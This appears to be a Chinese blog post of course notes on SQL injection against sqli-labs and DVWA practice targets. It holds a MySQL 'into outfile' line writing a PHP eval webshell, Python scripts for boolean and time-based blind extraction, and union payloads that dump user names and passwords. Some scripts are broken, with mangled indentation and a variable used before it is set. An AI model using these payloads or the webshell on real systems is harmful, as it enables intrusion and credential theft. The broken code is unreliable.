网安第二天总结

网安课程总结二

0.mysql基础语句(这里的语句是通常使用于爆表宝库的)

(1)mysql本地连接

mysql -h localhost -uroot –proot
1
参数 说明
-h 表示数据库连接地址,连接本机可不填,直接mysql -uroot -p
-u 表示要登录的用户
-p 表示使用密码登录
默认账/密:root/root
注:登录mysql时,-p后面不能有空格加密码,但-p空格,后面不加值是可以的

(2)查看所有数据库

show databases;
(3)使用数据库,注意sql语句后面要加分号

use 数据库名;
(4)查看当前数据库中的表

show tables;
(5)查看表中字段结构,不爆出内容

describe 表名;
(6)查看表中所有字段及内容(前提已经use了数据库)

select * from 表名;
(7)向指定目录,如C:\WWW目录中写入peak.php一句话木马

select “<?php @eval($_REQUEST[peak]);?>” into outfile “C:\WWW\peak.php”;

(8)创建数据库

create database peak;
(9)删除数据库

drop database 库名;
(10)清空表

delete from 表名;
(11)修改root密码

mysqladmin -uroot -p password 新密码
之后输入原密码,即会修改成功

(12)查询当前数据库所在目录

select @@basedir;
(13)创建数据库

CREATE DATABASE [IF NOT EXISTS] <数据库名>
(14)创建表

CREATE TABLE table_name (column_name column_type);
(15)创建字段

INSERT INTO users (字段名) VALUES (“字段值");
(16)删除表中数据

DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]

1.什么是sql注入

注入在本质上,实际就是将数据转变为代码。

对于sql注入来说,就是将数据转换为数据库中的语句(sql注入中,要基于数据在数据库中执行)

输入环境:http环境下都是可以的

注入点:所有数据提交的点都有可能(例如post get HTTP头部信息,文件上传等等 也就是需要数据库来记录的数据 都是输入环境)

数据库执行语句如何包裹输入数据?

整形(无符号包裹)

字符串(有符号包裹)

输出环境

有输出(就是输入有反馈)(联合查询)

没有出环境(输入无反馈)

(布尔型,延时型)

如果没有图形界面,那么能不能浏览网页?

我们可以通过python的requests模块获取网页内容

例如:(这个就是简单的请求一个页面的内容)

import requests
url="http://sqli/Less-5/?id=1"
response=requests.get(url)
print(response.text)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oXWf2L4z-1639397966689)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211210193309996.png)]

但这种内容由于是残缺的(也就是不够像浏览器发出的,所以我们得把他包装一下)

比如说,我们给这个请求加一个Headers

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1wej8UG7-1639397966692)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211212200452167.png)]

常用脚本

接下来是我自己写的一些sql注入常用的脚本以及语句

1.判断是否为整形sql注入(实际上用不上脚本)

import requests
header={
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Cache-Control": "max-age=0",
    "Connection": "keep-alive",
    "Host": "sqli",
    "Referer":"http://sqli/",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"

}
url1="http://sqli/less-2/?id=1 and 1=1"
url2="http://sqli/less-2/?id=1 and 1=2"
response1=requests.get(url1,headers=header)
response2=requests.get(url2,headers=header)
if response1.text!=response2.text:
     print("发现整形sql错误!")

2.字符型sql注入漏洞判断

import requests 
header={
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Cache-Control": "max-age=0",
    "Connection": "keep-alive",
    "Host": "sqli",
    "Referer":"http://sqli/",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"  } 
def is_quotes_inj(url): 
    quotes= ["'",'"',")","')",'")'] 
    for quote in quotes: 
        true_url=url+quote+"%20and 1=1"+"--+" 
        fasle_url=url+quote+"%20and 1=2"+"--+" 
        url_responese=requests.get(url,headers=header) 
        true_url_response = requests.get(true_url,headers=header) 
        fasle_url_response = requests.get(fasle_url,headers=header) 
        if true_url_response.text!=fasle_url_response.text and fasle_url_response.text!=url_responese.text and url_responese.text==true_url_response.text : 
            print("this is a {} type of sql injection!".format(quote)) 
            t=True 
            else : 
                print(true_url) 
                if t: 
                    return True 
                else: 
                    return False url="http://sqli/Less-8/?id=1" is_quotes_inj(url)

3.爆表名,表长度:

import requests 
header={
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Cache-Control": "max-age=0",
    "Connection": "keep-alive",
    "Host": "sqli",
    "Referer":"http://sqli/",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" 
} 
url="http://sqli/Less-8/?id=1"
get_length_payload=" 'and length(database())={}--+" #攻击语句样式 {}可以做占位,后续填充
response=requests.get(exec_url,headers=header)
for x in range(1,50):#循环爆库长度
    exec_url=url+get_length_payload.format(x)
    payload_response=requests.get(exec_url,headers=header)
    if payload_response.text==response.text:
        print("该数据长度是{}".format(x))
        break #要跳出循环 让x的值正确
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."#定义一个字符串集 里面包含所有可能有的元素
get_databasename_payload=" ' and ascii(substr(database(),{},1))={} --+" #进行ascii转换成数字 解决大小写的问题
result_dataname=""
for i in range(1,x+1):
    for char in chars:
        exec_url=url+get_databasename_payload.format(i,ord(char))
        payload_response=requests.get(exec_url,headers=header)
        response=requests.get(url,headers=header)
        if payload_response.text==response.text:
            result_dataname=result_dataname+char
            print("该数据库名字为{}".format(result_dataname))

4.爆列名:

import requests
header={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
    "Accept-Language":"zh-CN,zh;q=0.9",
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" 
}
url="http://sqli/Less-8/?id=1"
get_length_payload="' and length((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'))={}--+"
response=requests.get(url,headers=header)
for x in range(1,50):
    exec_url=url+get_length_payload.format(x)
    payload_response=requests.get(exec_url,headers=header)
    if payload_response.text==response.text:
        print("该数据长度是{}".format(x))
        break       
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."
get_data_payload="' and ord(substr((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'),{},1))={} --+"
result_data=""
for i in range(1,x+1):
    for char in chars:
        exec_url=url+get_data_payload.format(i,ord(char))
        payload_response=requests.get(exec_url,headers=header)
        if payload_response.text==response.text:
            result_data=result_data+char
            break
print("该数据是{}".format(result_data))

5.爆数据:

import requests
import time
header={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
    "Accept-Language":"zh-CN,zh;q=0.9",
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" 
}
url="http://192.168.183.140/sqli-labs-master/Less-8/?id=1"
get_length_payload="' and length((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'))={}--+"
# database()
# (select group_concat(table_name) from information_schema.tableS where TABLE_SCHEMA='dvwa' )
# (select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA=database() and table_name='users')
# (select group_concat(email_id) from emails) 
get_length_payload="' and if(length((select group_concat(email_id) from emails) )={},sleep(2),1)--+"
response=requests.get(url,headers=header)
for x in range(1,200):
    exec_url=url+get_length_payload.format(x)
    start_time=time.time()
    payload_response=requests.get(exec_url,headers=header)
    end_time=time.time()
    if (end_time-start_time)>2:
        print("该数据长度是{}".format(x))
        break       
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."
get_data_payload="' and if(ord(substr((select group_concat(email_id) from emails) ,{},1))={},sleep(2),1) --+"
result_data=""
for i in range(1,x+1):
    for char in chars:
        exec_url=url+get_data_payload.format(i,ord(char))
        start_time=time.time()
        payload_response=requests.get(exec_url,headers=header)
        end_time=time.time()
        if (end_time-start_time)>2:
            result_data=result_data+char
            print("该数据是{}".format(result_data))
            break
#该数据是emails,referers,uagents,users      
# emails是id,email_id

DVMA靶机实战(LOW)

low:

1.首先判断漏洞的类型

(1)在搜索框中输入1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gtuN3nrG-1639397966693)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191602042.png)]

发现存在回显(即不是盲注)

(2)输入1 and 1=1(嵌入sql语句)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KhirT4qR-1639397966693)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191754918.png)]

再输入1 and 1=2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4NJU4AE2-1639397966695)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191946637.png)]

确定不是整形注入

(3)输入1’

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zTxEMAei-1639397966696)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213192755919.png)]

发现报错,开始检查是否是与单引号有关的字符型注入。

(4)输入1’ and ‘1’ ='1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RR9Hr37U-1639397966697)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213192902774.png)]

再输入1’ and ‘1’='2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ouMchSfw-1639397966698)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213192930912.png)]

发现没有回显 即确认为单引号 字符型注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sjpXKbF0-1639397966698)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213194302719.png)]

通过对输入内容和页面实际接收的比较 表明我们要注意转码的问题

(5)爆字段数

我们输入 1’ and order by 4 --+(–+为注释符,把后面的语句给注释掉。当然这里使用 #也是可以的)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KoFdqMKd-1639397966699)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213194510264.png)]

我们发现4不行,采取二分法 输入2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nMc2XqD2-1639397966700)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213194551131.png)]

则推测字段数为2

(6)爆数据库名字

我们输入 1’ union select 1,database() --+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AJI46c6J-1639397966700)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213195051834.png)]

我们发现数据库名字为dvwa

(7)爆表名

输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ --+

(在Mysql数据库中 存在一个默认数据库information_schema.tables 里面存有其他数据库的信息)

这里可能会出现一个报错 即union类型混乱 解决方法可以查看如下博客

[]: https://blog.csdn.net/qq_44897193/article/details/106516838 “链接”

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-blWtkGUb-1639397966701)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200005265.png)]

得到表名

(8)爆列名(这里以users为例子)

1’union select 1,group_concat(column_name) from information_schema.columns where table_name='users–+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RLKZ3IDr-1639397966702)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200111483.png)]

(9)爆数据

1’union select group_concat(user),group_concat(password)from users

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n1nriwex-1639397966703)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200157702.png)]

通过查询语句一个一个获得也是可以的

1’union select user,password from users limit 0,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q5uzsr2J-1639397966703)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200242396.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fTtWaKX9-1639397966704)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200312081.png)]

常用语句总结:

1.判断漏洞类型

1.数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:

(1) 加单引号,URL:www.text.com/text.php?id=3

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

2.字符型注入

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

因此,在构造payload时通过闭合单引号可以成功执行语句:

测试步骤:

(1) 加单引号:select * from table where name=’admin’’

由于加单引号后变成三个单引号,则无法执行,程序会报错;

(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;

Mysql 有三种常用注释符:

– 注意,这种注释符后边有一个空格

# 通过#进行注释

/* */ 注释掉符号内的内容

因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;

(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错

如果满足以上三点,可以判断该url为字符型注入。

Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:

(1)POST:注入字段位于POST数据中;

(2)Cookie:注入字段位于Cookie数据中;

(3)延时注入:根据数据库延时特性的注入

(4)搜索注入:注入字段在搜索的位置;

(5)base64注入:注入字符经过base64编码后注入;

(7)错误注入:基于数据库错误信息的响应注入;

2.获取数据

1.爆数据库名字

1’ union select 1,database()

(select后面的数字根据字段数变化)

2.爆表名字

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘数据库名称’

3.爆列名

1’union select 1,group_concat(column_name) from information_schema.columns where table_name=‘表名称’

4.爆数据

'union select group_concat(表名),group_concat(列名)from 表名

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值